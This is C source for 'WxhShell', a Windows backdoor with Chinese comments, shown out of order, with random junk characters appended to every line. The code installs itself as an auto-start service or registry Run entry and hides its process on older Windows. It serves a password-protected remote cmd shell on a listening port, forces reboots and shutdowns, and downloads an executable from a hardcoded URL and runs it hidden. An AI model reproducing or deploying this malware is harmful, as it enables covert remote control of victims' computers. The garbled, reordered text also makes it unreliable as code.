    if(Boot(SHUTDOWN)) .~TI%&#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NG23  
    else { W|(<z'S  
    closesocket(wsh); A,(9|#%L  
    ExitThread(0); r;E5e]w*-  
    } V#R; -C  
    break; ZI8@ 6L\  
    } /!y;h-  
  // 获取shell Mm1>g~o  
  case 's': { s6#e?5J  
    CmdShell(wsh); Ps;4]=c  
    closesocket(wsh); N/<c;"o  
    ExitThread(0); _H-Fm$Q  
    break; :nfy=*M#  
  } rq\<zx]au  
  // 退出 UUa@7|x  
  case 'x': { K$B~vy6E`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 66$ hdT$  
    CloseIt(wsh); bH:C/P<x  
    break; hlz/TIP^N3  
    } 4/v[ .5  
  // 离开 ~QUN O~  
  case 'q': { c%&*yR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kuq&; uk$Q  
    closesocket(wsh); ZwiXeD+4  
    WSACleanup(); <*P)"G  
    exit(1); .ud&$-[a  
    break; xsNOjHk  
        } 3Jq GLR`z3  
  } &PFq(4  
  } zAev@+.ld  
91DevizXx  
  // 提示信息 z46Sh&+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); } :gi<#-:G  
} [HQ/MkP-Z  
  } =kzHZc  
U-U(_W5&  
  return; kf#S"[/E  
} NzN"_ojM  
M&sQnPFH  
// shell模块句柄 NLUO{'uUW  
int CmdShell(SOCKET sock) t**d{P+  
{ m9 ]Ge]  
STARTUPINFO si; 1u(n[<WtT_  
ZeroMemory(&si,sizeof(si)); {Z Ld_VGW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IGab~`c-[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DJqJ6z:'  
PROCESS_INFORMATION ProcessInfo; zsR5"Vi=  
char cmdline[]="cmd"; =.J cIT'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dP>FXgY  
  return 0; gv i!|!M=  
} # @7 I  
g_?Q3  
// 自身启动模式 2 gca *  
int StartFromService(void) DbtkWq%  
{ 6\ .LG4@LO  
typedef struct \'|t>|zhp  
{ n-,mC /4  
  DWORD ExitStatus; &qIdT;^=I  
  DWORD PebBaseAddress; $ub0$S/Hu  
  DWORD AffinityMask; VN$7r  
  DWORD BasePriority; YkFERIa076  
  ULONG UniqueProcessId; ,p!IFS`  
  ULONG InheritedFromUniqueProcessId; &l4kwds R  
}   PROCESS_BASIC_INFORMATION; Uv~|Xj4.  
mHJGpJ=a-  
PROCNTQSIP NtQueryInformationProcess; $1Wb`$  
5fz K*[B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AsvH@\\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AVfF<E/  
LvZ',u}  
  HANDLE             hProcess; $@L2zl1  
  PROCESS_BASIC_INFORMATION pbi; WMWUP ZsGS  
fvV"H{V,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >;VZB/ d  
  if(NULL == hInst ) return 0; #q-fRZ:P  
TefPxvd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )HvB ceN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h-SKw=n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6Tc! =lk  
E}<i?;  
  if (!NtQueryInformationProcess) return 0; ~&+a.@T  
eZ0-O /_i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >p" U|  
  if(!hProcess) return 0; oq|`;k   
z2!4w +2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wm9wnAy  
;:>q;%  
  CloseHandle(hProcess); \~t!M~H  
TmM~uc7mj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %az6\"n  
if(hProcess==NULL) return 0; G)_Zls2 ;  
1KR4Wq@  
HMODULE hMod; <(V~eo e  
char procName[255]; kLpq{GUv:  
unsigned long cbNeeded; lvNi/jk  
$xF[j9nM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _N>#/v)Yi  
@ `mke4>_  
  CloseHandle(hProcess); e ~cg  (.  
|x>5T}  
if(strstr(procName,"services")) return 1; // 以服务启动 b):aqRwP  
qZv@ULluc  
  return 0; // 注册表启动 Kltqe5  
} Wt=@6w&  
v"o@q2f_  
// 主模块 k2PK4Ua_}q  
int StartWxhshell(LPSTR lpCmdLine) Z)@[N 6\?  
{ >ffC?5+  
  SOCKET wsl; 9]1LwX!M2  
BOOL val=TRUE; * X}2  
  int port=0; s#")hMJQ  
  struct sockaddr_in door; s<aG  
|`V=hqe{  
  if(wscfg.ws_autoins) Install();  !$!%era`  
iM6(bmc.  
port=atoi(lpCmdLine); b*{UO  
gr{*wYL  
if(port<=0) port=wscfg.ws_port; <HIM k  
]<r.{EJ  
  WSADATA data;  Q0,eE:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #JXXq%4 @  
_={mKKoHs  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3TS:H1n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D,(:))DmR  
  door.sin_family = AF_INET; ,ei=w,O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T7O)  
  door.sin_port = htons(port); QXl~a%lB  
jpTk@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oL<5hN*D  
closesocket(wsl); _#{qDG=  
return 1; ?C   
} ?I"?J/zm  
Mm9*$g!R  
  if(listen(wsl,2) == INVALID_SOCKET) { XV`8Vb  
closesocket(wsl); m| 7v76(  
return 1; oJ/=&c  
} sBqOcy  
  Wxhshell(wsl); VwK7\j V  
  WSACleanup(); Ai5+ ;8z+  
9>`dB  
return 0; h'_$I4e)  
aVr=7PeF  
} BqA_C W  
|oe  
// 以NT服务方式启动 {k[dg0UV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4MtRI  
{ wrK@1F9!  
DWORD   status = 0; lIO#)>  
  DWORD   specificError = 0xfffffff; ZA@zs,o%  
lLglF4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m@0> =s~.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t=s.w(3t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ziM@@$ .F  
  serviceStatus.dwWin32ExitCode     = 0; kmtkh "  
  serviceStatus.dwServiceSpecificExitCode = 0; `9P`f4x  
  serviceStatus.dwCheckPoint       = 0; $&Z#2 X.  
  serviceStatus.dwWaitHint       = 0; {G<1.  
bT|-G2g7Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vGI)c&C>  
  if (hServiceStatusHandle==0) return; =wD&hDn4  
yT='V1  
status = GetLastError(); >Ad`_g6Wew  
  if (status!=NO_ERROR) ,Ik~E&Ku2'  
{ r)Ml-r =  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _u6MSRX[6$  
    serviceStatus.dwCheckPoint       = 0; iU3PlF[B/o  
    serviceStatus.dwWaitHint       = 0; RUVrX`u*(  
    serviceStatus.dwWin32ExitCode     = status; <p2\;\?4z  
    serviceStatus.dwServiceSpecificExitCode = specificError; l7IF9b$c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2pP"dX  
    return; k5+ Fxf  
  } s|TO9N)pO  
}"v#_vJfz7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >}JEX]V  
  serviceStatus.dwCheckPoint       = 0; [8oX[oP  
  serviceStatus.dwWaitHint       = 0; wL6G&6]</W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;ZP!:,  
} , E$f"  
Q]VG6x  
// 处理NT服务事件,比如:启动、停止 i<=2 L?[.I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6KD-nr{S  
{ z92Xc  
switch(fdwControl) !:tr\L {  
{ I#7H)^us  
case SERVICE_CONTROL_STOP: D-x*RRkpp  
  serviceStatus.dwWin32ExitCode = 0; Ra:UnA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vmo!  
  serviceStatus.dwCheckPoint   = 0; [ <k&]Kv  
  serviceStatus.dwWaitHint     = 0; BJ fBY H,M  
  { B7o US}M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2=1qmQE  
  } kqq1;Kd  
  return; s ;]"LD@  
case SERVICE_CONTROL_PAUSE: gi)C5J4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; OqmW lN.?  
  break; ,6"[vb#*3  
case SERVICE_CONTROL_CONTINUE: $Q,]2/o6n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;M\Cw.%![  
  break; 5Kk}sxol  
case SERVICE_CONTROL_INTERROGATE: N$.ls48a4-  
  break; 7;] IlR6  
}; M8y|Lm}o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1(% 6X*z  
} Ub4)x  
vu*9(t)EC  
// 标准应用程序主函数 [lK`~MlQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K2V?[O#  
{ t?=V<Yd1  
4\uq$.f-  
// 获取操作系统版本 ~SsfkM"  
OsIsNt=GetOsVer(); ^v:XON<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ay%]l| Gm  
nB5^  
  // 从命令行安装 g9d/nR X&  
  if(strpbrk(lpCmdLine,"iI")) Install(); q~*|Wd'&  
P*hYh5a  
  // 下载执行文件 bQI.Qk  
if(wscfg.ws_downexe) { w6^TwjjZ$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (Fq]y5  
  WinExec(wscfg.ws_filenam,SW_HIDE); oU*e=uehj  
} Y ._O m}H  
,jD-fL/:  
if(!OsIsNt) { .f!:@fX>=  
// 如果时win9x,隐藏进程并且设置为注册表启动 G%h+KTw  
HideProc(); 7;?7q  
StartWxhshell(lpCmdLine); 57;( P  
} ]5MT-qU  
else u9]M3>  
  if(StartFromService()) %+UTs'I  
  // 以服务方式启动 I7t}$ S6  
  StartServiceCtrlDispatcher(DispatchTable); Lw?>1rTT/  
else V|{~9^  
  // 普通方式启动 gI@nE:(m  
  StartWxhshell(lpCmdLine); Zu P3/d  
5Z#(C#  
return 0; TY` R_  
} ?,[$8V  
g  b[.Ww  
\\d8ulu  
!MmbwB'  
=========================================== A-$ C6q   
pF}E`U=Z  
N~S#( .}[  
5p3: 8G7  
hl DU.k  
$d&7q5[  
" 9,"gXsvx(  
&[yYgfsp  
#include <stdio.h> >gn@NJ2N  
#include <string.h> 4]Gm4zO  
#include <windows.h> -; i:bE  
#include <winsock2.h> F>%,}Y~B:  
#include <winsvc.h> 2<V`  
#include <urlmon.h> blaXAqe  
.PuxF  
#pragma comment (lib, "Ws2_32.lib") <N=ow"rD  
#pragma comment (lib, "urlmon.lib") Z hCjY  
)_?HBTG  
#define MAX_USER   100 // 最大客户端连接数 UCo<ie\V  
#define BUF_SOCK   200 // sock buffer j2 >WHh  
#define KEY_BUFF   255 // 输入 buffer K;TTGK  
(@O,U  
#define REBOOT     0   // 重启 >}u#KBedE  
#define SHUTDOWN   1   // 关机 m&s;zQ  
Us>  
#define DEF_PORT   5000 // 监听端口 +|4olK$[  
N2u4MI2  
#define REG_LEN     16   // 注册表键长度 $ylxl"Y  
#define SVC_LEN     80   // NT服务名长度 (;HO3Z".q$  
)k `+9}OO  
// 从dll定义API V {}TG]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hWX4 P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gDX\ p>7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >9<rc[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XqcNFSo)  
Jr>Nc}!U  
// wxhshell配置信息 ^{E_fQJX  
struct WSCFG { f uH3C~u7<  
  int ws_port;         // 监听端口 nGTqW/k[+s  
  char ws_passstr[REG_LEN]; // 口令 Fg2/rC:_  
  int ws_autoins;       // 安装标记, 1=yes 0=no cn9=wm\\  
  char ws_regname[REG_LEN]; // 注册表键名 \z.p [;'ir  
  char ws_svcname[REG_LEN]; // 服务名 |I.5]r-EK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GB6(WAmr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +>% AG&Pc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'sk M$jr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;b_<5S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vgr 5j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \,I{*!hw  
a3He-76  
}; ZCfd<NS?  
%r:4'$E7|  
// default Wxhshell configuration KkR.p,/  
struct WSCFG wscfg={DEF_PORT, Lk-h AN{[  
    "xuhuanlingzhe", }F3}"Ik'L  
    1, +]Z *_?j9{  
    "Wxhshell", M IUB]  
    "Wxhshell", ;;EFiaA  
            "WxhShell Service", owO &[D/  
    "Wrsky Windows CmdShell Service", p\]rxtm  
    "Please Input Your Password: ", 1}CJ&  
  1, SNHAL F  
  "http://www.wrsky.com/wxhshell.exe", mDWRYIuN  
  "Wxhshell.exe"  Y@b|/+  
    }; 4%u\dTg/B  
#"o`'5  
// 消息定义模块 X8XE_VtP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2nSz0 .  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @,pn/[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H\|H]:CE  
char *msg_ws_ext="\n\rExit."; Jb8%A@Z+  
char *msg_ws_end="\n\rQuit."; Q:Y`^jP   
char *msg_ws_boot="\n\rReboot..."; "m}N hoD4  
char *msg_ws_poff="\n\rShutdown..."; m`@~ZIa?>B  
char *msg_ws_down="\n\rSave to "; ',6d0>4 *  
Ye[Fu/0  
char *msg_ws_err="\n\rErr!"; SQJ4}w>i  
char *msg_ws_ok="\n\rOK!"; #*}cc  
rFto1m  
char ExeFile[MAX_PATH]; :~,V+2e  
int nUser = 0; !Jaj2mS.N  
HANDLE handles[MAX_USER]; (~:ip)v  
int OsIsNt; .5#+)] l  
tYUo;V  
SERVICE_STATUS       serviceStatus; . B6mvb\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2y9$ k\<xV  
3C#Sr6  
// 函数声明 ?A 5;"  
int Install(void); :IozWPs*  
int Uninstall(void); _wZr`E)  
int DownloadFile(char *sURL, SOCKET wsh); Wtflw>-  
int Boot(int flag); @^b>S6d "  
void HideProc(void); u4[rA2Bf8E  
int GetOsVer(void); m!Aw,*m+*  
int Wxhshell(SOCKET wsl); 1(Lq9hs`  
void TalkWithClient(void *cs); /8lmNA  
int CmdShell(SOCKET sock); ` >k7^!Ds  
int StartFromService(void); $,1KD3;+]  
int StartWxhshell(LPSTR lpCmdLine); @8SA^u0  
gZ  {  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _P=L| U#C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QU@CPME  
NcIr; }  
// 数据结构和表定义 k,r}X:<6jz  
SERVICE_TABLE_ENTRY DispatchTable[] = Qgl5Jr.  
{ k_ijVfI9  
{wscfg.ws_svcname, NTServiceMain}, )79F"ltz h  
{NULL, NULL} /,ISx }  
}; N9O}6  
mFBuKp+0)h  
// 自我安装 bX+"G}CRP  
int Install(void) er>@- F7w  
{ v+d? #^  
  char svExeFile[MAX_PATH]; MAgoxq~;V  
  HKEY key; n<>]7-  
  strcpy(svExeFile,ExeFile); K- TLzoYA  
3MHByT %  
// 如果是win9x系统,修改注册表设为自启动 z s[zB#  
if(!OsIsNt) { [} "m4+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XJ?zP=UK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (gUxS.zU  
  RegCloseKey(key); <A] Kg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L^jhr>-";  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (w/lZt  
  RegCloseKey(key); >uYGY{+j[  
  return 0; F2$?[1^f  
    } y~rtYI  
  } )`<7qT_BM  
} L!:;H,  
else { ,Z[pLF  
}[By N).  
// 如果是NT以上系统,安装为系统服务 k FE<M6a9@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J-~:W~Qx4N  
if (schSCManager!=0) h.aXW]]}(P  
{ r59BBW)M  
  SC_HANDLE schService = CreateService g|x* sZR~Y  
  ( qmbhx9V   
  schSCManager, oMF[<Xf  
  wscfg.ws_svcname, 1K{hj%  
  wscfg.ws_svcdisp, h%U,g 9_  
  SERVICE_ALL_ACCESS, bVds23q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]"U/3dL5  
  SERVICE_AUTO_START, -VZ? c  
  SERVICE_ERROR_NORMAL, 8?$XT  
  svExeFile, Opf^#6'mq  
  NULL, X"v)9 p  
  NULL, dqw0ns.2  
  NULL, mUwGr_)wj  
  NULL, X%Ta?(9|.^  
  NULL !]!J"!xg*  
  ); Qy| 6A@  
  if (schService!=0) uS{WeL6%  
  { c4FU@^Vv  
  CloseServiceHandle(schService); p~Mw^SN'  
  CloseServiceHandle(schSCManager); Q%_MO`<]$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u!I=|1s  
  strcat(svExeFile,wscfg.ws_svcname); 6Vy4]jdT5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wZ~eE'zx+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nbSu|sX~r5  
  RegCloseKey(key); HmRmZ3~  
  return 0; 3aEO9v,n  
    } QZ_8r#2x  
  } Cq<k(TKAX  
  CloseServiceHandle(schSCManager); S(hT3MAW  
} )|L#i2?:  
} -! :h]  
m~vEandm  
return 1; 78FK{Cr  
} Cg%}=  
n,%/cUl  
// 自我卸载 jg=}l1M"  
int Uninstall(void) UJrN+RtL  
{ `:EU~4s\  
  HKEY key; #:} mi;{  
(Z at|R.F  
if(!OsIsNt) { 4>te>[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `'/1Ij+  
  RegDeleteValue(key,wscfg.ws_regname); C 4hvk'=  
  RegCloseKey(key); ya/pn qS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Eilo;-El  
  RegDeleteValue(key,wscfg.ws_regname); qJEtB;J'  
  RegCloseKey(key); c$R<j'7  
  return 0; [knwp$  
  } U#F(%b-LC  
} e><,WM,e  
} ^uWj#  
else { n.xOu`gj  
t$b{zv9C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OT}^dPQe  
if (schSCManager!=0) +&8'@v$  
{ 1Et{lrgh f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Xa/]} B  
  if (schService!=0) 6YYDp&nqEj  
  { aUEnQ%YU"  
  if(DeleteService(schService)!=0) { NC{8[*Kx5  
  CloseServiceHandle(schService); $D(q  
  CloseServiceHandle(schSCManager); 2"L a}Vx2  
  return 0; aDjYT/`l  
  } kaZ_ra;<  
  CloseServiceHandle(schService); >Mk#19j[/  
  } qc@v"pIz'S  
  CloseServiceHandle(schSCManager); bn0Rv  
} aq%i:};  
} iGsD!2  
h v/+  
return 1; A7sva@}W  
} UpCkB}OhR1  
*Au[{sR  
// 从指定url下载文件 #=aTSw X  
int DownloadFile(char *sURL, SOCKET wsh) P(Q}r 7F~(  
{ o.KE=zp&z  
  HRESULT hr; m[6c{$A/w  
char seps[]= "/"; tf?"AY4  
char *token; DO9_o9'  
char *file; |bv7N@?e  
char myURL[MAX_PATH]; \-R\xL  
char myFILE[MAX_PATH]; Z6_E/S  
nO .:f  
strcpy(myURL,sURL); CGJ>j}C  
  token=strtok(myURL,seps); Tlz~o[`&  
  while(token!=NULL) r>x>aJ  
  { be:=-B7!  
    file=token; nSeb?|$D6  
  token=strtok(NULL,seps); tz`T#9  
  } }}w Z  
R'x^Y"  
GetCurrentDirectory(MAX_PATH,myFILE); -)Y[t Z^*`  
strcat(myFILE, "\\"); 2qfKDZ9f^  
strcat(myFILE, file); v!%VH?cA8  
  send(wsh,myFILE,strlen(myFILE),0); #kPsg9Y  
send(wsh,"...",3,0); =!P$[pN2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @1iH4RE*  
  if(hr==S_OK) O*+,KKPt  
return 0; @RFJe$%  
else oAxCI/  
return 1; 4#2iq@s  
k|[86<&[  
} geEETb} +y  
$' >|r]  
// 系统电源模块 7DCu#Y[  
int Boot(int flag) WS1$cAD2N  
{ iVqXf;eB!5  
  HANDLE hToken; 4dI =  
  TOKEN_PRIVILEGES tkp; ]ppws3*Pa  
()%;s2>F  
  if(OsIsNt) { f^9ntos|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E8PlGQ~z{d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fGMuml?[ e  
    tkp.PrivilegeCount = 1; g%T`6dvT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )b;}]C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); so@wUxF  
if(flag==REBOOT) { 5qQ\H}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F@Cxjz  
  return 0; nj5Hls  
} l\1_v7s  
else { iE=:}"pI"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #wP$LKk  
  return 0; &xMQ  
}  o C#W  
  } _Q6` Wp6m  
  else { fW8whN  
if(flag==REBOOT) { rEG!A87Zz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EawtT  
  return 0; :}p<Hq 8Z  
} 8I,/ysT:  
else { NGOyd1$7N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j`ybzG^  
  return 0; 2kVQ#JyuRI  
} hxx`f-#=  
} oiNt'HQ2/  
V}+Ui]ie|I  
return 1; #JW~&;  
} %8~g#Z  
T$Rj/u t1  
// win9x进程隐藏模块  H= (Zx  
void HideProc(void) |FH|l#bu>  
{ 2;&!]2vo$  
FG6mh,C!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ipn 0WQG  
  if ( hKernel != NULL ) `} :~,E  
  { |;MW98 A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >\5IB5'j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h\PybSW4s  
    FreeLibrary(hKernel); rv;is=#1  
  } RoeLf Ow  
/eNDv(g)M  
return; qASV\ <n  
}  njg\y  
M"|({+9eG  
// 获取操作系统版本 "%]vSr  
int GetOsVer(void) fVx_]5jM  
{ Q2nqA1sRk  
  OSVERSIONINFO winfo; d+158qQOh]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +EE(d/ f  
  GetVersionEx(&winfo); hT?|:!ED.F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BhC>G2 ^7  
  return 1; %r >Y)@$Vt  
  else m vLqccL  
  return 0; [3fmhc  
} l~*D jr~  
]Wdnr1d~8  
// 客户端句柄模块 o`<ps$ yT  
int Wxhshell(SOCKET wsl) z< ,rE  
{ yjj)+eJ(Q  
  SOCKET wsh; $|pD}  
  struct sockaddr_in client; ~e#QAaXD#5  
  DWORD myID; Q]<6i  
wTkcR^  
  while(nUser<MAX_USER) 2<33BBlWA  
{ {}1KI+s9\  
  int nSize=sizeof(client); $61j_;WF`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A~%h*nZc%I  
  if(wsh==INVALID_SOCKET) return 1; m.2=,,r<Fq  
%Tm8sQ)1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JPGEE1!B{b  
if(handles[nUser]==0) 1_0\_|  
  closesocket(wsh); kH}HFl  
else rugR>&mea  
  nUser++; BNpc-O~  
  } :Wl`8p4]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rw]7Lr_>  
;/=6~%  
  return 0; `=JGlN7  
} 6UnWtLE  
m(eR Wx&pZ  
// 关闭 socket Bl!R bh\  
void CloseIt(SOCKET wsh) DfV'1s4y  
{ >{@:p`*  
closesocket(wsh); Ab/KVB  
nUser--; Zt H{2j0  
ExitThread(0); qF57T>v|  
} )9'Zb`n  
3~6,fTMz{  
// 客户端请求句柄 N,~"8YSo  
void TalkWithClient(void *cs) ?2i\E RG?  
{ j#[%-nOT  
YqNI:znm-  
  SOCKET wsh=(SOCKET)cs; 5BsfbLKC  
  char pwd[SVC_LEN]; gq[`g=x  
  char cmd[KEY_BUFF]; nHTb~t5Ke  
char chr[1]; 0o &B 7N  
int i,j; .BjnV%l7Id  
<Pg<F[eDM  
  while (nUser < MAX_USER) {  TDR2){I  
bc(b1u?  
if(wscfg.ws_passstr) { yOr5kWqX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U9]&~jR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nMU[S +  
  //ZeroMemory(pwd,KEY_BUFF); i $W E1-  
      i=0; Z|IFT1K  
  while(i<SVC_LEN) { o]O  
A ^U`c'$  
  // 设置超时 1G62Qu$O  
  fd_set FdRead; F`U YgN  
  struct timeval TimeOut; #xTu {  
  FD_ZERO(&FdRead); TSHH=`cx  
  FD_SET(wsh,&FdRead); Z&Ao;=Gp1  
  TimeOut.tv_sec=8; !p$k<?WXc  
  TimeOut.tv_usec=0; F|&=\Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \bzT=^Z;2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }Asp=<kCc  
cu#s}* Ip  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ye"#tCOEG  
  pwd=chr[0]; 71inHg  
  if(chr[0]==0xd || chr[0]==0xa) { "R9^X3;  
  pwd=0; )*I%rN8b   
  break; 0f3C; u-q-  
  } ruTj#tWSo  
  i++; 8@J5tFJ&%  
    } 5_~QS  
rtY4 B~_  
  // 如果是非法用户,关闭 socket bdz&"\$X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~u+|NtF  
} ^#)M,.G^  
EaXD Y<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ct-;L' a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |{JJ2c\W  
nps"nggk  
while(1) { 5X=ik7m^  
:dkBr@u96O  
  ZeroMemory(cmd,KEY_BUFF); k>mqKzT0$+  
;OD+6@Sr  
      // 自动支持客户端 telnet标准   SF?s^  
  j=0; Sw^-@w=!U5  
  while(j<KEY_BUFF) { 9 &p;2/H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *&sXC@^@^  
  cmd[j]=chr[0]; Oxq} dX7S  
  if(chr[0]==0xa || chr[0]==0xd) { 4[^lE?+  
  cmd[j]=0; JHIXTy__  
  break; 3PU'd^  
  } 'p:L"L}Q?  
  j++; 4C[n@ p2  
    } hDc)\vzr  
Eh*t;J=O  
  // 下载文件 Yvbk[Rb  
  if(strstr(cmd,"http://")) { <;.->73E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PZsq9;P$  
  if(DownloadFile(cmd,wsh)) .vJ t&@NO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _z(ydL*  
  else >( :b\*C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {%Ujp9i  
  } sg!* %*XQ  
  else { D"RxI)"HP  
